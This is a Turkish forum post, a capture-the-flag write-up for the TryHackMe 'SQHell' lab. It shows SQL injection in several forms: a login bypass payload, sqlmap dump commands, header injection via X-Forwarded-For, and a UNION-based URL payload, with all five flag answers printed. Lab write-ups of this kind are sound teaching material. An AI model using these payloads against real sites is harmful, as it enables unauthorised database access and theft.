Tryhackme | SQHell CTF WriteUp

w1sd0m

Katılımcı Üye
28 Mar 2020
699
626
/802.1x/
Tryhackme | SQHell CTF WriteUp by w1sd0m


SQHell
Try and find all the flags in the SQL Injections


EAZnwY.jpg



Selam dostlar, bu gün sizlere Tryhackme'de yer alan "SQHell" adlı CTF'in çözümünü anlatacağım.
Makinenin adından da anlaşılacağı üzere bu CTF'te "
Sqli" açığıyla uğraşacağız.
Bol bol "
sqlmap" kullanacağımdan bu makaleye "Sqlmap öğretici" de diyebilirsiniz :)
İyi okumalar.


Platform: Tryhackme.com
Title: SQHell
Difficulty: Medium
Created by: Tryhackme

Total point: 150


|
|
V


Çözüme geçmeden önce,CTF'in bizden 5 adet "
THM{FLAG:flag}" formatında flag istediğini söyleyeyim.

EAZV1q.png



Öncelikle bir port taraması yapalım bakalım yolumuz ne olacak.
nmap -sC -sV -vv <IP>

EAMqan.png


22 ve 80 portlarının açık olduğunu görüyoruz. Web sayfasına gidelim bakalım bizi neler bekliyor.

EAMKPh.png


Bir blog sayfası karşımıza çıkıyor. "Admin" adlı kullanıcının 2 adet post attığını görüyorum. Sayfada "login&register" butonları var. Ayrıca "Read More | Terms&Conditions" bölümleri de dikkatimi çekmedi değil.
Önce "
Register&Login" kısımlarıyla oynamak istiyorum. Bakalım birşeyler bulabilecek miyiz?

EAMvXy.png
EAMzWM.png


Register bölümü çalışmamakta ancak login çalışıyor gibi. Login bölümüne "Authentication bypass" deneyebilirim.
admin' or 1=1;-- -

EAMmnp.png
EAMtnA.png


Bypass etmeyi başardık ve bize ilk flag'imiz verdi :)
THM{FLAG1:E786483E5A53075750F1FA792E823BD2}

Peki, tekrar anasayfaya geliyorum ve kurcalamaya devam ediyorum.
Öncelikle gerçekten "
sqli" varmı diye bakma istedim ve postlardan birine girerek açığı kontrol ettim.


EAM3BU.png


Evet, "'" tırnağı koyunca hatayı gördük. 5 adet bayrak yakalamamız gerektiği için birden fazla bölümde bu açığın olduğunu tahmin etmek zor değil. O yüzden şimdi "Sqlmap" aracına geçerek bu yerlere saldırı yapmaya başlayacağım.
Hadi beraber yapalım.

Hatırlarsanız yukarıda "
Register" bölümüne kayıt olmaya çalışırken bir hata almıştık. Admin bize burada bir zorluk çıkarmıştı. Şimdi o zorluğu aşmaya çalışalım ve birşeyler bulabilirmiyiz diye bir bakalım.

"Sqlmap"i çalıştırıyoruz.

EAZEkN.jpg


Register bölümüne bir "user-control" işlemi uygulayacağım ve sonuçlara bakacağım.
sqlmap -u "http://<IP>/register/user-check?username=admin2" -p "username" --risk=3 --level=3 --dbs --dbms=mysql --threads 10

EAMdJc.png


"Sqlmap" burada "Exploiting Time Based SQLi" işlemi gerçekleştirdi. Hatta kullandığı "payload"ı görebiliyoruz. Bize "sqhell_3" adında bir database olduğunu buldu. Ee, bize düşen de içerisindekileri almak.
sqlmap -u "http://<IP>/register/user-check?username=admin2" -p "username" --risk=3 --level=3 -D sqhell_3 --dump-all --dbms=mysql --threads 10

EAM7Mt.png


Böylece 3 numaralı flag'i de bulmuş olduk.
THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308}

Peki tekrar anasayfaya dönelim ve kurcalamaya devam edelim.
"Ne demişler; Arayan mevlasını da bulur belasını da."
"Admin" kullanıcısının attığı postları hatırladınız mı? Birde oraya bakalım, oradaki mevzu ne?

EAMeuo.png


Bir saldırı da bu bölüme yapacağız. Umarım ilginç sonuçlarla karşılaşırız.
sqlmap -u "http://<IP>/post?id=2" -p "id" --risk=3 --level=3 --dbs --dbms=mysql --threads 10

EAZkee.png


Bakınız burada "Sqlmap"in kullandığı payload, bypass tekniği ve sonucu görebiliyoruz. "sqhell_5" adlı database'i bulduğunu söylüyor. Bizde içerisine bakalım.
sqlmap -u "http://<IP>/post?id=2" -p "id" --risk=3 --level=3 -D sqhell_5 --dump-all --dbms=mysql --threads 10

EAZPcR.png


5 numaralı flag buradaymış. Tatlı tatlı ilerliyoruz değil mi?
THM{FLAG5:B9C690D3B914F7038BA1FC65B3FDF3C8}

Şimdi, tekrardan anasayfaya dönelim.
Burada bir "
Terms%Conditions" bölümü var. Buraya baktığımızda dikkatimizi çeken bir durumun olduğunu görüyorum.


EAMFX1.png


Site analizi için bizlerin IP adreslerini kayıt altına aldıklarını bildiren bir madde koymuşlar. Bunu sağlamanın birkaç yolu var. İlk düşündüğüm; bu ip adreslerinin, siteye gönderilen istekler doğrultusunda loglandığı idi.
Biraz araştırma yaptım ve bunun "X-FOWARDED-FOR" başlığı ile yapıldığını gördüm. Peki biz bunu kendi çıkarlarımız için kullanabilir miyiz?

Devam ediyoruz :)

sqlmap --dbms mysql --headers="X-forwarded-for:1*" -u http://<IP>/ --dbs --dbms=mysql
sqlmap --dbms mysql --headers="X-forwarded-for:1*" -u http://<IP>/ -D sqhell_1 -T flag –dump

EAM61S.png


İşte 2 numaralı flag.
THM{FLAG2:C678ABFE1C01FCA19E03901CEDAB1D15}

Evet dostlarım, sadece 4 numaralı flag kaldı. Bunun için "Sqlmap" ile sağa sola saldırdım ancak bir netice alamadım.
Sonra "neden basit düşünmüyorum?" diye kendime sorarak manuel yoldan işlem yapmak için anasayfaya geldim.
Burada "
Admin" kullanıcısına tıkladığımızda bizi "User" bölümüne atıyordu ve burada kullanıcının kaç adet post attığını gösteriyordu. Bi espiriside yoktu açıkçası.
Şimdi ise tekrardan buraya göndüm ve url üzerinden manuel işlem yapmaya başladım.
http://<IP>/user?id=2 union all select "1 union select 1,(flag),3,4 from flag-- -",1,2 from users

EAM9fb.png


Meğer 4 numaralı flag de burada saklanıyormuş.
THM{FLAG4:BDF317B14EEF80A3F90729BF2B426BEF}


EAZRHP.png

Aslında bu işlemleri illa "sqlmap" aracı ile yapmanıza gerek yok. Diğer injection araçları ile de rahatlıkla yapabilirsiniz.
Kendi stratejinizi belirleyerek kendi çözümlerinizi oluşturabilirsiniz.

EAMwus.png



^
|
|




Değerli dostlarım, konunun sonuna geldik.
Yoğun olmama rağmen forumun "CTF" bölümünü boş bırakmamayı düşünerek haftada en_az_1-en_çok_2 makine çözümü paylaşacağım.
Bunlar "
Easy-Medium, Medium-Hard ve Hard-Easy" şeklinde dönüşümlü olacak.
Hem CTF çözenler için hemde bu alana meraklı olanlar için "
CTF Bölümü"nü takip etmeleri faydalı olacaktır.

Teşekkürler.





EAZQu0.png
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.